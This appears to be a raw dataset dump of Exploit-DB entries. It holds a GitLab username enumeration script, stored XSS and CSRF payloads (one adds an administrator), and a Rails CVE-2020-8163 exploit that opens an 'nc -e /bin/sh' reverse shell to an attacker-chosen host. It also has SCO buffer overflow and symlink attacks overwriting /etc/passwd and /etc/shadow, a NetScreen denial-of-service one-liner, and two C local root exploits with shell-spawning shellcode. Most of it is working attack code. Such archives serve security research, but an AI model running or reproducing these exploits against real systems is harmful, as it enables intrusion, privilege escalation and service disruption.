deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49821
Description: GitLab Community Edition (CE) 13.10.3 - User Enumeration
Type: webapps
Platform: ruby
Date: 2021-05-03
Author: 4D0niiS

Exploit:
# Exploit Title: GitLab Community Edition (CE) 13.10.3 - User Enumeration
# Date: 4/29/2021
# Exploit Author: @4D0niiS [https://github.com/4D0niiS]
# Vendor Homepage: https://gitlab.com/
# Version: 13.10.3
# Tested on: Kali Linux 2021.1

#!/bin/bash

#Colors
RED='\033[38;5;196m'
GREEN='\e[38;5;47m'
NC='\033[0m'
BOLD='\e[1m'
PINK='\e[38;5;198m'
Italic='\e[3m'
BBlue='\e[44m'
YELLOW='\033[0;33m'

clear
echo -e "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo -e "  			             ${BBlue}${BOLD}GitLab User Enumeration Script${NC}"
echo -e "   	    			             ${BOLD}Version 1.0${NC}\n"
echo -e "${BOLD}${PINK}Description: ${NC}It prints out the usernames that exist in your victim's GitLab CE instance\n"
echo -e "${BOLD}${PINK}Disclaimer: ${NC}${Italic}Do not run this script against ${BOLD}GitLab.com!${NC}${Italic} Also keep in mind that this PoC is meant only"
echo -e "for educational purpose and ethical use. Running it against systems that you do not own or have the"
echo -e "right permission is totally on your own risk.\n${NC}"
echo -e "${BOLD}${PINK}Author:${NC}${BOLD} @4DoniiS${NC}${Italic} [https://github.com/4D0niiS]${NC}"
echo -e "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo ""
echo ""



# Usage
usage() {
echo -e "${YELLOW}usage: ./gitlab_user_enum.sh --url <URL> --userlist <Username Wordlist>${NC}\n"

echo -e "${Italic}PARAMETERS:${NC}"
echo -e "-------------"
echo -e "-u/--url	The URL of your victim's GitLab instance"
echo -e "--userlist	Path to a username wordlist file (one per line)"
echo -e "-h/--help	Show this help message and exit"
echo -e "\n"
echo -e "${Italic}Example:${NC}"
echo -e "-------------"
echo -e "./gitlab_user_enum.sh --url http://gitlab.local/ --userlist /home/user/usernames.txt"
}

#check for params
args=("$@")
URL=""
user_list=""

for (( i=0; i < $#; i++))
{
	case ${args[$i]} in
	--url | -u)
	#GitLab's URL
	URL=${args[$((i+1))]}
	;;
	--userlist)
	#Username wordlist
	user_list=${args[$((i+1))]}
	;;
	-h | --help | "")
	#Help Menu
	usage
	exit 0
	;;
	esac
}


## checking the mandatory parameter (URL)
if [ -z "$URL" ]
then
    usage
    echo ""
    echo -e "${RED}${BOLD}The URL of your GitLab target (--url) is missing. ${NC}"
    exit 0
fi


# User Enumeration Function
enumeration(){

while IFS= read -r line
do
	echo "LOOP"
	HTTP_Code=$( curl -s -o /dev/null -w "%{http_code}" $URL/$line)
	echo $HTTP_Code
	#echo "\n"
	if [ $HTTP_Code -eq 200 ]
	then
 	 echo -e "${GREEN}${BOLD}[+]${NC} The username ${GREEN}${BOLD}$line ${NC}exists!"
	#check the connection
	elif [ $HTTP_Code -eq 000 ]
	then
	 echo -e "${BOLD}${RED}[!]${NC} The target is unreachable. Please make sure that you entered target's URL correctly and you have connection with it!"
	 exit 0
	fi

done < "$user_list"

}



# Main
enumeration
Exploit-DB #42961
Description: Metasploit Web UI < 4.14.1-20170828 - Cross-Site Request Forgery
Type: webapps
Platform: ruby
Date: 2017-08-30
Author: Dhiraj Mishra

Exploit:
# Exploit Title: CSRF
# Date: Wed, Aug 30, 2017
# Software Link: https://www.metasploit.com/
# Exploit Author: Dhiraj Mishra 
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-15084 (R7-2017-22)
# Category:  Metasploit Pro, Express, Ultimate, and Community
 
 
1. Description
 
Metasploit Pro, Express, Ultimate, and Community can encounter an issue of cross site request forgery (also known as one-click attack and is abbreviated as CSRF or XSRF), which is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts. A CSRF attack attempts to exploit the trust that a specific website has in a user's browser.
 
2. Proof of concept
 
The MSF did not protect the logout form with csrf token, therefore i can logout any user by sending this url https://Metasploit-Server-IP:3790/logout
Here's an attack vector:

1) Set up a honeypot that detects MSF scans/attacks (somehow).
2) Once I get a probe, fire back a logout request.
3) Continue to logout the active user forever.

It's less damaging than a traditional "hack back" but is sure to irritate the local red team to no end. It's essentially a user DoS. This attack may have been useful as a denial of service against Metasploit instances, allowing an attacker to prevent normal Metasploit usage.

3. Rapid7 Security Bulletin

https://blog.rapid7.com/2017/10/06/vulnerabilities-affecting-four-rapid7-products-fixed/
Exploit-DB #39997
Description: Radiant CMS 1.1.3 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: ruby
Date: 2016-06-21
Author: David Silveiro

Exploit:
# Exploit Title: Radiant CMS 1.1.3  - Mutiple Persistant XSS Vulnerabilities
# Exploit Author: David Silveiro 
# Exploit Author Github: github.com/davidsilveiro
# Exploit Author Twitter: twitter.com/david_silveiro 
# Vendor Homepage: http://radiantcms.org/
# Software Link: http://radiantcms.org/download/
# Date: Zero day

Radiant is a no-fluff, open source content management system designed for small teams. It is similar to Textpattern or MovableType, but is a general purpose content management system (not just a blogging engine) written in Ruby.

Stored XSS 1 – File Title Upload

The attacker must first be a user of sorts, as there's only 2 types of roles 'administrator' & 'designer' we're going with the assumption of the latter. Now as the designer we have the option to upload 'assets' such as files or images, here lyes one of the issues.

When uploading, we're presented with the option to create a title for an image, which gets displayed back in the general repository where a user logged  in as admin would also be able to see it. We're able to input our own javascript within this field, thus when a you then visit the 'assets' page, you will be presented with a pop up.

Enter the example below.

POC:

Title: </script>alert('XSS')</script>


Stored XSS 2 – User Personal Preferences

This time round were faced with a lot more avenues to have our JS displayed back to us. Again, we're going with the assumption that we're logged in as a designer user.

Let us navigate to the 'Settings page', where you'll see  2 options to edit Personal Preferences & Configuration, click on Edit Prefrences.

POC:

Name: <script>alert('XSS 1')</script>
Email Address: <script>alert('XSS2')</script>@gmail.com
Username: <script>alert('XSS3')</script>

This will not only reflect back to you, as the designer, but also the back to the admin when he/she goes onto the http://127.0.0.1/admin/users/ and is presented with our users malicious 'NAME' parameter.
Exploit-DB #48716
Description: Rails 5.0.1 - Remote Code Execution
Type: webapps
Platform: ruby
Date: 2020-07-26
Author: Lucas Amorim

Exploit:
# Exploit Title: Rails 5.0.1 - Remote Code Execution
# Date: 2020-07-19
# Exploit Author: Lucas Amorim
# Vendor Homepage: www.rubyonrails.org
# Software Link: www.rubyonrails.org
# Version: Rails < 5.0.1
# Tested on: Linux/OSx
# CVE : CVE-2020-8163
# More information: https://github.com/sh286/CVE-2020-8163

#!/usr/bin/ruby

require 'net/http'

def header
  puts "[*] - CVE-2020-8163 - Remote code execution of user-provided local names in Rails < 5.0.1\n" 
  puts "[*] - Author: Lucas Amorim lucas@lucasamorim.ca"
  puts "[*] - Usage: \n"
  puts "ruby exploit.rb <url> <ip> <port>"
end
if ARGV.length < 3
  header
  exit(-1)
end

url  = ARGV[0]
ip   = ARGV[1]
port = ARGV[2]

puts "[*] Sending payload to #{url}"
uri = URI(url+"?system(%27nc+-e+/bin/sh+#{ip}+#{port}%27)%3ba%23")
Net::HTTP.get(uri)
Exploit-DB #49482
Description: STVS ProVision 5.9.10 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: ruby
Date: 2021-01-27
Author: LiquidWorm

Exploit:
# Exploit Title: STVS ProVision 5.9.10 - Cross-Site Request Forgery (Add Admin)
# Date: 19.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.stvs.ch

STVS ProVision 5.9.10 Cross-Site Request Forgery (Add Admin)


Vendor: STVS SA
Product web page: http://www.stvs.ch
Platform: Ruby
Affected version:  5.9.10 (build 2885-3a8219a)
                   5.9.9 (build 2882-7c3b787)
                   5.9.7 (build 2871-a450938)
                   5.9.1 (build 2771-1bbed11)
                   5.9.0 (build 2[PII_REDACTED])
                   5.8.6 (build 2557-84726f7)
                   5.7
                   5.6
                   5.5

Summary: STVS is a Swiss company specializing in development of
software for digital video recording for surveillance cameras
as well as the establishment of powerful and user-friendly IP
video surveillance networks.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Ubuntu 14.04.3
           nginx/1.12.1
           nginx/1.4.6
           nginx/1.1.19
           nginx/0.7.65
           nginx/0.3.61


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5625
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5625.php

19.01.2021

--


<html>
  <body>
    <form action="http://192.168.1.17/users/create" method="POST">
      <input type="hidden" name="login" value="testingus" />
      <input type="hidden" name="password" value="testingus" />
      <input type="hidden" name="confirm&#95;password" value="testingus" />
      <input type="hidden" name="email" value="test&#64;test&#46;tld" />
      <input type="hidden" name="role&#95;id" value="1" />
      <input type="hidden" name="never&#95;expire" value="on" />
      <input type="hidden" name="disabled&#95;acc" value="false" />
      <input type="submit" value="Forge request" />
    </form>
  </body>
</html>
Exploit-DB #20736
Description: SCO Open Server 5.0.6 - lpforms Buffer Overflow
Type: dos
Platform: sco
Date: 2001-03-27
Author: Secure Network Operations

Exploit:
source: https://www.securityfocus.com/bid/2554/info

SCO OpenServer 5.0.6 (and possibly earlier versions) ships with several suid bin executables used in printer administration and related tasks.

This includes lpforms, a component used to manage and configure print destinations, devices and printer interface programs.

'lpforms' contains a locally exploitable buffer overflow vulnerability. If a command line parameter argument is of excessive length, a stack overflow condition will occur.

An attacker may exploit this vulnerability execute arbitrary code with effective user 'bin' privileges. 

/opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpforms `perl -e 'print "A" x 7000'`

Memory fault - core dumped
Exploit-DB #20737
Description: SCO Open Server 5.0.6 - lpshut Buffer Overflow
Type: dos
Platform: sco
Date: 2001-03-27
Author: Secure Network Operations

Exploit:
source: https://www.securityfocus.com/bid/2555/info


SCO OpenServer 5.0.6 (and possibly earlier versions) ships with several suid bin executables used in printer administration and related tasks.

This includes lpshut, a component used to shut down the LP print service. 'lpshut' contains a locally exploitable bufffer overflow due to a lack of bounds checking during operations performed on user-supplied data.

An attacker may exploit this vulnerability to execute arbitrary code with effective userid 'bin' privileges. 

/opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpshut `perl -e 'print "A" x 7000'`

Memory fault - core dumped
Exploit-DB #20739
Description: SCO Open Server 5.0.6 - lpusers Buffer Overflow
Type: dos
Platform: sco
Date: 2001-03-27
Author: Secure Network Operations

Exploit:
source: https://www.securityfocus.com/bid/2557/info

SCO OpenServer 5.0.6 (and possibly earlier versions) ships with several suid bin executables used in printer administration and related tasks.

This includes lpusers, a component used to set the queue priority of jobs submitted to the LP print service by users.
'lpusers' contains a locally exploitable buffer overflow vulnerability that occurs when commandline arguments are of excessive length.

If properly exploited, this can yield root privilege to the attacker.

/opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpusers -u `perl -e 'print "A" x 700'`

Memory fault - core dumped
Exploit-DB #20742
Description: SCO Open Server 5.0.6 - recon Buffer Overflow
Type: dos
Platform: sco
Date: 2001-03-27
Author: Secure Network Operations

Exploit:
source: https://www.securityfocus.com/bid/2560/info

SCO OpenServer 5.0.6 (and possibly earlier versions) ships with a suid 'bin' executable called 'recon'.

'recon' is used to buffer and forward escape sequences from a user's input to timing-sensitive applications.

'recon' contains a locally exploitable buffer overflow condition present in the handling of command-line parameters.

If properly exploited, this can yield user 'bin' privileges to the attacker. 

/opt/K/SCO/Unix/5.0.6Ga/usr/bin/recon `perl -e 'print "A" x 3000'`

Memory fault - core dumped
Exploit-DB #20735
Description: SCO OpenServer 5.0.6 - lpadmin Buffer Overflow
Type: dos
Platform: sco
Date: 2001-03-27
Author: Secure Network Operations

Exploit:
source: https://www.securityfocus.com/bid/2553/info

SCO OpenServer 5.0.6 (and possibly earlier versions) ships with several suid 'bin' executables used in printer administration and related tasks.

This includes lpadmin, a component used to manage and configure print destinations, devices and printer interface programs.

'lpadmin' contains a locally exploitable buffer overflow condition present in the handling of command-line parameters.

If properly exploited, this can yield user 'bin' privileges to the attacker. 

/opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpadmin `perl -e 'print "A" x 7000'`

Memory fault - core dumped
Exploit-DB #20532
Description: ScreenOS 1.73/2.x - Firewall Denial of Service
Type: dos
Platform: sco
Date: 2001-01-08
Author: Nsfocus

Exploit:
source: https://www.securityfocus.com/bid/2176/info

NetScreen Firewall is a network appliance used to secure against intruders and various types of attacks to a network. NetScreen has a Web administrative Interface (WebUI) used to configure and set the firewall settings.

It is possible to cause a denial of service in NetScreen Firewall. Requesting an unusually long URL to WebUI listening on default port 80, will cause the firewall to crash. A restart of the service is required in order to gain normal functionality. 

Once the input URL is longer than 1220 bytes=A3=ACNetScreen firewall= will crash:

$echo -e "GET /`perl -e 'print "A"x1220'` HTTP/1.0\n\n"|nc= netscreen_firewall 80
Exploit-DB #21489
Description: Caldera OpenServer 5.0.5/5.0.6 - SCOAdmin Symbolic Link
Type: local
Platform: sco
Date: 2002-05-29
Author: Kevin Finisterre

Exploit:
source: https://www.securityfocus.com/bid/4875/info

A vulnerability has been reported in the scoadmin utility that may allow a local attacker to overwrite any file. The vulnerability is due to the predictable naming of temporary files used by scoadmin. When writing to temporary files, there are no checks to ensure that it does not already exist. Symbolic links will also be followed. This behaviour may be exploited by local attackers to corrupt arbitrary files.

ln -s /etc/passwd /tmp/tclerror.1195.log

If the process ID of the SCOadmin process is 1195, /etc/passwd will be overwritten.
Exploit-DB #24293
Description: SCO Multi-channel Memorandum Distribution Facility - Multiple Vulnerabilities
Type: local
Platform: sco
Date: 2004-07-20
Author: Ramon de C Valle

Exploit:
/*
source: https://www.securityfocus.com/bid/10758/info

It has been reported that the SCO Multi-channel Memorandum Distribution Facility (MMDF) is affected by multiple vulnerabilities. These issues are due to a failure of the utility to properly validate buffer boundaries when copying user-supplied input.

These issues are known to be exploitable locally, however due to the nature of the application it is likely that remote exploitation is possible as well, although this is not confirmed.

An attacker might leverage these issues to execute arbitrary code in the context of the vulnerable utility; many of the affected utilities are setuid binaries by default. These issues might also be leveraged to cause the affected utility to crash, denying service to legitimate users.
*/

/*
 *  MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86
 *  Copyright 2004 Ramon de Carvalho Valle
 *
 */

char shellcode[]=           /*  36 bytes                          */
    "\x68\xff\xf8\xff\x3c"  /*  pushl   $0x3cfff8ff               */
    "\x6a\x65"              /*  pushl   $0x65                     */
    "\x89\xe6"              /*  movl    %esp,%esi                 */
    "\xf7\x56\x04"          /*  notl    0x04(%esi)                */
    "\xf6\x16"              /*  notb    (%esi)                    */
    "\x31\xc0"              /*  xorl    %eax,%eax                 */
    "\x50"                  /*  pushl   %eax                      */
    "\x68""/ksh"            /*  pushl   $0x68736b2f               */
    "\x68""/bin"            /*  pushl   $0x6e69622f               */
    "\x89\xe3"              /*  movl    %esp,%ebx                 */
    "\x50"                  /*  pushl   %eax                      */
    "\x50"                  /*  pushl   %eax                      */
    "\x53"                  /*  pushl   %ebx                      */
    "\xb0\x3b"              /*  movb    $0x3b,%al                 */
    "\xff\xd6"              /*  call    *%esi                     */
;

main(int argc,char **argv) {
    char buffer[16384],address[4],*p;
    int i;

    printf("MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86\n");
    printf("Copyright 2004 Ramon de Carvalho Valle\n\n");

    *((unsigned long *)address)=(unsigned long)buffer-256+5120+4097;

    sprintf(buffer,"-c");
    p=buffer+2;
    for(i=0;i<5120;i++) *p++=address[i%4];
    for(i=0;i<8192;i++) *p++=0x90;
    for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
    *p=0;

    execl("/usr/mmdf/bin/deliver","deliver",buffer,0);
}
Exploit-DB #19542
Description: SCO Open Server 5.0.5 - 'userOsa' Symlink
Type: local
Platform: sco
Date: 1999-10-11
Author: Brock Tellier

Exploit:
source: https://www.securityfocus.com/bid/701/info

Under certain versions of SCO OpenServer there exists a symlink vulnerability which can be exploited to overwrite any file which is group writable by the 'auth' group. The problem in particular is in the the /etc/sysadm.d/bin/userOsa executable. When given garbage output the program will write out a debug log. However, the program does not check to see if it overwriting a currently existing file nor wether it is following a symlink. Therefore is it possible to overwrite files with debug data which are both in the 'auth' group and are writable by the same group. Both /etc/shadow & /etc/passwd fall into this category. If such an attack were launched against these files the system would be rendered unusable.

scohack:/tmp$ ln -s /etc/shadow.old debug.log
scohack:/tmp$ /etc/sysadm.d/bin/userOsa
bah
connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ {Invalid Connect
Request: bah}}}
Failed to listen to client
Failure in making connection to OSA.
scohack:/tmp$

-----

BEFORE EXPLOIT:
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 26 Oct 11 20:08 /etc/shadow.old

AFTER EXPLOIT (note the file size):
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 177 Oct 11 20:10 /etc/shadow.old

scohack:/# cat /etc/shadow.old
>>> Debug log opened at Mon Oct 11 03:10:04 PM CDT 1999 by <PID=11604>
<<<
SendConnectFail(connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ
{Invalid Connect Request: bah}}})

scohack:/#
Exploit-DB #19543
Description: SCO Open Server 5.0.5 - cancel Buffer Overflow
Type: local
Platform: sco
Date: 1999-10-08
Author: Brock Tellier

Exploit:
// source: https://www.securityfocus.com/bid/702/info

There is a buffer overflow vulnerability in /opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel. It is important to know that the overflows are not in "/usr/bin/cancel" or "/usr/lpd/remote/cancel". The consequence of this vulnerability being exploited is compromise of effective groupid of group lp. 

/**
 ** sco_cancel.c yields egid=18(lp)
 ** Tested on SCO 5.0.5+Skunkware98
 ** 
 ** Compile gcc -o sco_cancelx.c sco_cancelx.c 
 **
 ** Brock Tellier btellier@usa.net
 **	  
 **/ 


#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* doble@iname.com */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       
#define LEN 1500
#define NOP 0x90
                       
unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];
 
 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
	exit(0); 
 }
 else if (argc == 2){
   offset=atoi(argv[1]);
   
 }
 else if (argc == 3) {
  offset=atoi(argv[1]);
  buflen=atoi(argv[2]); 
   
 }
 else {
   offset=600;
   buflen=1200;

 }
 

addr=get_sp();

fprintf(stderr, "\nSCO 5.0.5 cancel exploit yields egid=18(lp)\n");
fprintf(stderr, "Brock Tellier btellier@webley.com\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
	*(int *)&buf[i]=addr+offset;

execl("/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel", "cancel", buf,
NULL);

exit(0);
}